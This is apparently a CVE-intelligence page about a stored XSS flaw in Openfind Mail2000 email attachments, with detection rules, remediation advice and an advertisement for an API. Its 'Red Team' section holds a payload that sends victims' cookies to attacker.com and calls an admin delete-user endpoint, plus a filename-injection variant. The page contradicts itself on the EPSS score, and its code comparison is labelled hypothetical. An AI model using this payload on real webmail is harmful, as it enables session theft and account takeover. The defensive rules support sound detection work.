☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2024-6740

CVE-2024-6740 Cross-Site Scripting in Openfind
📅 PUBLISHED: 2024-07-15 08:00 UTC 🔄 UPDATED: 2026-09-23 20:28 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.50%
👁️
0.50% probability
12.5× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
6.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-6740 is a Stored Cross-Site Scripting (XSS) vulnerability in Openfind's Mail2000 email system. An unauthenticated remote attacker can inject malicious JavaScript code within an email attachment. When the attachment is viewed or processed by a victim, the script executes in the context of the Mail2000 web interface, potentially leading to session hijacking, data theft, or further compromise. The vulnerability has a CVSS score of 6.1 (Medium) and an EPSS score of 0.0%, indicating low exploitation likelihood at this time. No public proof-of-concept or patch details are available.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • CVSS Score: 6.1 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
  • Attack Vector: Network (AV:N) – Exploitable remotely.
  • Attack Complexity: Low (AC:L) – No special conditions required.
  • Privileges Required: None (PR:N) – Unauthenticated attacker.
  • User Interaction: Required (UI:R) – Victim must view the malicious attachment.
  • Scope: Changed (S:C) – Impact extends beyond the vulnerable component.
  • Confidentiality Impact: Low (C:L) – Limited data exposure.
  • Integrity Impact: Low (I:L) – Limited modification possible.
  • Availability Impact: None (A:N) – No denial of service.

Threat Level: Medium. While the CVSS score is moderate, the stored XSS nature allows persistent attacks against all users who view the attachment, making it a significant supply chain risk for organizations using Mail2000.

Deep Dive & Mechanics

The vulnerability resides in the email attachment handling mechanism of Openfind Mail2000. The application fails to properly validate and sanitize file attachments, specifically their filenames or content metadata. An attacker can craft an email with an attachment containing embedded JavaScript code (e.g., in a .html or .svg file, or via filename injection). When the recipient views the attachment within the Mail2000 web interface, the malicious script executes in the user's browser session.

Attack Flow:

  1. Attacker sends an email to a Mail2000 user with a malicious attachment (e.g., invoice.html containing <script>alert('XSS')</script>).
  2. The Mail2000 server stores the email and attachment without sanitizing the JavaScript.
  3. When the victim opens the email and clicks to view the attachment, the browser renders the malicious content.
  4. The injected script executes, allowing the attacker to steal cookies, perform actions on behalf of the victim, or redirect to phishing pages.

Root Cause: Lack of input validation and output encoding for attachment content or filenames. The application likely trusts user-supplied data without proper escaping.

Vulnerable vs. Patched Code

Since no patch details are available, the following is a hypothetical comparison based on common XSS fixes.

Vulnerable Code (PHP-like pseudocode):

// Directly outputting attachment filename without sanitization
echo "<a href='download.php?file=" . $_GET['file'] . "'>" . $attachment['filename'] . "</a>";

Patched Code (PHP-like pseudocode):

// Sanitize output with htmlspecialchars
echo "<a href='download.php?file=" . urlencode($_GET['file']) . "'>" . htmlspecialchars($attachment['filename'], ENT_QUOTES, 'UTF-8') . "</a>";

Key Differences:

  • The patched version uses htmlspecialchars() to escape HTML entities.
  • URL parameters are encoded with urlencode() to prevent injection.
  • Content-Type headers should be set to application/octet-stream to prevent rendering.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

  • Access to send emails to a Mail2000 user.
  • Basic understanding of JavaScript.

Exploitation Steps:

  1. Create a malicious HTML file with embedded JavaScript:
    <html>
    <body>
    <script>
    // Steal cookies
    fetch('https://attacker.com/steal?cookie=' + document.cookie);
    // Or perform actions via XHR
    var xhr = new XMLHttpRequest();
    xhr.open('GET', '/admin/delete_user?id=1', true);
    xhr.send();
    </script>
    </body>
    </html>
    
  2. Send an email to the victim with this file as an attachment.
  3. Wait for the victim to view the attachment.
  4. Collect stolen data at your listener.

Alternative Payload (Filename Injection):

  • Rename the attachment to something like invoice.html<script>alert(1)</script>.pdf to trigger XSS if the filename is rendered unsanitized.

Blue Team (Defender)

Detection & Prevention:

  • Monitor for emails with unusual attachment types (e.g., .html, .svg, .js).
  • Implement Content Security Policy (CSP) headers to block inline scripts.
  • Use web application firewalls (WAF) to inspect attachment content.
  • Educate users to avoid opening attachments from unknown senders.

Lab Setup:

  • Deploy a test instance of Mail2000 (if available) or use a similar webmail application.
  • Send test emails with benign XSS payloads (e.g., <script>console.log('test')</script>).
  • Verify if the script executes in the browser.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • Outbound connections to unknown domains from Mail2000 web interface.
    • HTTP requests containing document.cookie or XMLHttpRequest in attachment filenames.
  • File IOCs:
    • Email attachments with .html, .svg, .js, or .xml extensions containing <script> tags.
    • Filenames containing HTML entities like <, >, ", '.
  • Behavioral IOCs:
    • Unusual JavaScript execution in the context of the Mail2000 domain.
    • Multiple failed login attempts after XSS payload execution.

Detection Engineering

YARA Rule

rule CVE_2024_6740_Mail2000_XSS {
    meta:
        description = "Detects malicious email attachments exploiting CVE-2024-6740"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-6740"
    strings:
        $script_tag = /<script[^>]*>.*?<\/script>/is
        $on_event = /on\w+\s*=\s*["']?[^"']*["']?/is
        $javascript_protocol = /javascript\s*:/is
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-6740 - Stored XSS via Email Attachment in Openfind Mail2000
id: 8a3f5c2e-9b1d-4f7a-8e6c-3d2b1a0f9e8d
status: experimental
description: Detects email attachments with potential XSS payloads targeting Mail2000
author: Valters IT
date: 2025-04-10
logsource:
    product: email
    service: attachment
detection:
    selection:
        - attachment_extension: 
            - '.html'
            - '.svg'
            - '.js'
            - '.xml'
        - attachment_content|contains: 
            - '<script'
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate HTML newsletters
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-6740 - Mail2000 Stored XSS Attempt"; flow:to_server,established; content:"Content-Disposition|3a| attachment"; nocase; content:"filename|3d|"; nocase; pcre:"/<script[^>]*>.*?<\/script>/isR"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Isolate Mail2000 servers from the internet if possible.
  2. Disable attachment preview in the web interface.
  3. Implement strict Content Security Policy (CSP) headers:
    Content-Security-Policy: default-src 'self'; script-src 'none'; object-src 'none';
    
  4. Use a WAF to block requests containing <script> or javascript: in attachment parameters.

Long-term Fixes:

  • Apply vendor patches when available (currently UNKNOWN).
  • Sanitize all attachment filenames and content using a whitelist approach.
  • Encode output with htmlspecialchars() or equivalent.
  • Conduct a security audit of the attachment handling module.

Workarounds:

  • Block email attachments with executable content types (.html, .svg, .js) at the mail gateway.
  • Train users to recognize and report suspicious emails.

Valters IT
Securing Digital Frontiers

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-6740/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.